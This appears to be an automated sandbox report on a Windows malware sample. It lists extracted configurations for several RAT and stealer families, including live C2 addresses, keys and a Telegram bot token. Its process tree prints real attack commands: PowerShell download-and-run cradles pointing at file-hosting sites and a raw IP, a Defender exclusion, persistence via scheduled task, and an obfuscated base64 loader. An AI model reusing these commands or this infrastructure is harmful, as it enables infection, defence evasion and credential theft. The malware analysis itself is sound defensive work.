Resubmissions
27/11/2025, 19:28
251127-x661fscn3s1025/11/2025, 23:52
251125-3w5yaszmhx1025/11/2025, 23:40
251125-3pcceatnfl1003/10/2025, 23:40
251003-3nxxqagj711003/10/2025, 23:17
251003-295n1swtcs10Analysis
- max time kernel
4s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20250610-en - resource tags
- submitted
03/10/2025, 23:17
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample251003-295n1swtcs
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://files.catbox.moe/idtatx.txt
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://files.catbox.moe/jkjsmx.txt
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://192.236.146.9:59394/14
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://pastebin.com/raw/jgKWLc0S
-
exe.dropper
https://pastebin.com/raw/jgKWLc0S
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://api.chimera-hosting.zip/87rh1c6/hhMcKYKgMFjLeS/VioletClient.exe
Extracted
Family
-
quasar
Version
-
1.7.1
Botnet
-
OniCHAN~
C2
-
resources-formerly.gl.at.ply.gg:43317
Mutex
-
25775f93-53d1-4489-9825-3f972c7e35e9
Attributes
-
encryption_key
D2973F3069489602440049C54C37809627555190
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Modded Client Startup
-
subdirectory
SubDir
Extracted
Family
-
koiloader
C2
-
http://37.49.226.113/waveform.php
Attributes
-
payload_url
https://wellbeingdr.com/wp-content/uploads/2024/05
Extracted
Family
-
stealc
Botnet
-
tr1pernn
C2
-
http://178.16.54.175
Attributes
-
url_path
/e9762ff07e084dbb.php
rc4.plain
Extracted
Family
-
vidar
Version
-
15.4
Botnet
-
3b6347f287ad618ac03dfb15b5259e16n
Campaign
-
ty5r0t
C2
-
https://steamcommunity.com/profiles/76561198785836552
-
https://telegram.me/nc1anasy
Attributes
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Extracted
Family
-
quasar
Version
-
1.3.0.0
Botnet
-
Office04
C2
-
91.151.88.127:1604
Mutex
-
QSR_MUTEX_xurKSKRKCH0XOQxEDq
Attributes
-
encryption_key
JNEZUJeMg5ZLd4wD5iqc
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Extracted
Family
-
xworm
Version
-
XWorm V6.4
C2
-
193.233.113.101:6000
Mutex
-
wtTjJFyuVgz7AApw
Attributes
-
Install_directory
%AppData%
-
install_file
Update.exe
-
telegram
https://api.telegram.org/bot8009787624:AAEz_CNKVasGdV6iZMKRYGG1673GnRbmQ7E/sendMessage?chat_id=5189826015
aes.plain
Signatures
- Detect PurpleFox Rootkit 3 IoCs
Detect PurpleFox Rootkit.
- Detect SalatStealer payload 7 IoCs
- Detect Xworm Payload 1 IoCs
- Detects DonutLoader 1 IoCs
- DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Donutloader family
- Gh0st RAT payload 3 IoCs
- Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
- Gh0strat family
- KoiLoader
KoiLoader is a malware loader written in C++.
- Koiloader family
- PurpleFox
PurpleFox is an exploit kit used to distribute other malware families and first seen in 2018.
- Purplefox family
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 2 IoCs
- Salatstealer family
- Stealc
Stealc is an infostealer written in C++.
- Stealc family
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Vidar family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects KoiLoader payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 46 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 49 IoCs
- Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
- Executes dropped EXE 11 IoCs
- Loads dropped DLL 21 IoCs
- Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
- Adds Run key to start application 2 TTPs 1 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 27 IoCs
- Looks up external IP address via web service 15 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- ConfuserEx .NET packer 2 IoCs
Detects ConfuserEx .NET packer.
- Drops file in System32 directory 1 IoCs
- Enumerates processes with tasklist 1 TTPs 4 IoCs
- UPX packed file 36 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Detects Pyinstaller 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 4 IoCs
- Program crash 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 8 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 15 IoCs
- Suspicious use of FindShellTrayWindow 14 IoCs
- Suspicious use of SendNotifyMessage 14 IoCs
- Suspicious use of WriteProcessMemory 63 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"3⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe4⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe5⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\NanoDumpInject.exeNanoDumpInject.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\Tokenvator1.exeTokenvator1.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\clp1.execlp1.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File tW08ytT.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c (New-Object Net.WebClient).DownloadString('http://192.236.146.9:59394/14') | IEX5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IOK___P0093003E030300302020039093400P0O0O3090943940394039049434.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Updatexs.exeUpdatexs.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\output.exeoutput.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe r2.hta4⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe r.hta4⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe proceso.vbs4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'https://pastebin.com/raw/UEhZGpZs' -OutFile 'C:\Users\Admin\AppData\Local\Temp\data_exp.txt'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://dpaste.org/0cWks/raw' -OutFile 'C:\Users\Admin\AppData\Local\Temp\d.txt'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c crypted.bat4⤵
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\a\crypted.bat" MINIMIZED5⤵
-
C:\Windows\system32\net.exenet session6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session7⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://api.chimera-hosting.zip/87rh1c6/hhMcKYKgMFjLeS/VioletClient.exe', 'C:\Users\Admin\AppData\Local\Temp\setup.exe')"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\022b63ba1671438baf93c3478a38c1f3_crypted_build.exe022b63ba1671438baf93c3478a38c1f3_crypted_build.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\e79da345977745cda131abcb29a7c9c7_crypted_build.exee79da345977745cda131abcb29a7c9c7_crypted_build.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\fc2e7a9930c9496c9df103b2bff5e372_miner.exefc2e7a9930c9496c9df103b2bff5e372_miner.exe4⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\bzut\dadaasads_new.ps1"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\Temp53140\AppInstaller.exe"C:\Users\Admin\AppData\Local\Temp53140\AppInstaller.exe" "C:\Users\Admin\AppData\Local\Cache34345\FolderBP.exe"6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&17⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F8⤵
- Kills process with taskkill
-
-
-
C:\Windows\SYSTEM32\cmstp.execmstp.exe /au "C:\Users\Admin\AppData\Local\Temp\cmstp.inf"7⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&17⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F8⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp53140\AppInstaller.exe"C:\Users\Admin\AppData\Local\Temp53140\AppInstaller.exe" "C:\Users\Admin\AppData\Local\npUpdater\core.exe"6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&17⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F8⤵
- Kills process with taskkill
-
-
-
C:\Windows\SYSTEM32\cmstp.execmstp.exe /au "C:\Users\Admin\AppData\Local\Temp\cmstp.inf"7⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exesvchost.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMG___pict004995005000003599505005005040405000600.hta4⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMG__pic0399940000003949400030303030204004000440040030000.hta4⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMG__pic0099400000300200005050050500500505050050052333.hta4⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMS__Pic0949000030040040300404040r0400404040040.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Monotone.exeMonotone.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\49c65acf-2846-4b7a-bf22-6459d11082f4\background.exe"C:\Users\Admin\AppData\Local\49c65acf-2846-4b7a-bf22-6459d11082f4\background.exe"5⤵
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMN__IE__09340040400400t0t040040040404040.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\801b0b4d118a4c0a8c4523e7805f5227_crypted_build.exe801b0b4d118a4c0a8c4523e7805f5227_crypted_build.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File FOREEEE.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\%D0%9C%D1%83%D1%85%D0%B8.exe%D0%9C%D1%83%D1%85%D0%B8.exe4⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMG__pict09000004000039400405049405000595050.hta4⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe img__0909090908997878877676767676767000090000000.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\system.exesystem.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7z7C6AA300\IRS_Audit_Guide.bat" "5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePoWerShELl -w h "$AtFgwqxm='QvLiaIiy';$GaePzudQ='https://files.catbox.moe/jkjsmx.txt';iex(irm $GaePzudQ);$lUdmrXfI='AFenoLCg'"6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\TMulQVsNluoRhcJVp.exe"C:\Users\Admin\AppData\Local\TMulQVsNluoRhcJVp.exe" fpQJgMDgUBKfEYooYhsfStAqLQ.au37⤵
-
-
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IM__Pic009405960060400403000505003030404030300400000040.hta4⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c IRS_Audit_Requirements.bat4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWeRShELL -W h "$rsCIyQVOcpVCDDX='huUKYgVEzAhUtJl';$ToiEDyRLcqXBZeK='https://files.catbox.moe/idtatx.txt';iex(irm $ToiEDyRLcqXBZeK);$aElHeEwHQkVoCIR='wcFrVhTyzYPjrTB'"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\TvInRaXJWFFKSiOkooKSETDJiT.exe"C:\Users\Admin\AppData\Local\TvInRaXJWFFKSiOkooKSETDJiT.exe" tFlYATwZYEQsEWtldQUmgoVIwb.au36⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c system.bat4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePoWerShELl -w h "$AtFgwqxm='QvLiaIiy';$GaePzudQ='https://files.catbox.moe/jkjsmx.txt';iex(irm $GaePzudQ);$lUdmrXfI='AFenoLCg'"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\TMulQVsNluoRhcJVp.exe"C:\Users\Admin\AppData\Local\TMulQVsNluoRhcJVp.exe" fpQJgMDgUBKfEYooYhsfStAqLQ.au36⤵
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe System.vbs4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sofigo ='IAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAd@gBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAd@gBvAHQAbwBjAG8AbABUAHkAd@ABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8AdwBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAd@wAgAHsAIABwAGEAd@gBhAG0AIAAoAFsAd@wB0AHIAaQBuAGd@AWwBdAF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHd@ALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEd@AZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAd@wAuAEwAZQBuAGd@AdABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8Ad@gBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAdAB1AHIAbgAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAd@gBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAd@wAgAD0AIAAnAGgAdAB0ACd@AOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAd@wAyACAAPQAgACd@Ad@ABzADoALwAvACd@AOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAd@wAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAd@wBkAGYAd@wBkAGd@AIAArACAAJwBpAGgAbQBtAGsAdgBrAGEAaQB3AG4AaQBsAG4AZQBhAHUAaABmAG4ALgBzAHUAd@ABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8AdgAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAGgAbwBsAGQALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAd@wBkAGYAd@wBkAGd@AIAArACAAJwB0AGoAdABoAGoAZAAuAGkAYwB1AC8AaQBtAGd@ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAd@gBvAG0ATABpAG4AawBzACAAJABsAGkAbgBrAHMAOwAKACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGd@AZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAd@gBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAd@wApADsACgAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACd@APAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAIAAkAGUAbgBkAEYAbABhAGd@AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAAKACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGd@AZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAd@wB0AGEAd@gB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGd@AdABoADsAIAAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGd@AdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsACgAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGd@AdABoAGgAKQA7AAoAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGd@AZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsACgAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAd@gB0AF0AOgA6AEYAd@gBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGd@AKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGd@AZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsACgAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAd@wBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAd@wB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAd@wBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgADEALgAuADIAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAFMAdABhAHIAdAAtAFMAbABlAGUAd@AAgADEAIAB9ACAAPgAgACQAbgB1AGwAbAAKACAAIAAgACAAIAAgACAAIAAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAd@wBlAG0AYgBsAHkALgBHAGUAdABUAHkAd@ABlACgAJwB0AGUAd@wB0AHAAbwB3AGUAd@gBzAGgAZQBsAGwALgBIAG8AYQBhAGEAYQBhAGEAd@wBkAG0AZQAnACkAOwAKACAAIAAgACAAIAAgACAAMQAuAC4AMgAgAHwAIABGAG8Ad@gBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAUwB0AGEAd@gB0AC0AUwBsAGUAZQBwACAAMQAgAH0AIAA+ACAAJABuAHUAbABsAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjACAAPQAgACd@ATQBzAEIAdQBpAGwAZAAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACd@AbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAGQAZQBkAG8AYwBuAGUAXwB1AFIAZAA5AFEANQBzADIAbABoAFEAbwBtAFkAd@ABvAC8AOAAwADEALgA0ADYALgAxADEALgAyADEAMgAvAC8AOgAnACwAIAAnADIAJwAsACAAJwBTAHkAd@wB0AGUAbQAnACwAIAAkAGkAbgBqAGUAYwAsACAAJwAwACd@AIAAsACAAJwB4ADgANgAnACkAKQB9AH0AOwAKAA==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($sofigo.replace('d@','c') ));iex $OWjuxD5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\System.vbs' -Force }6⤵
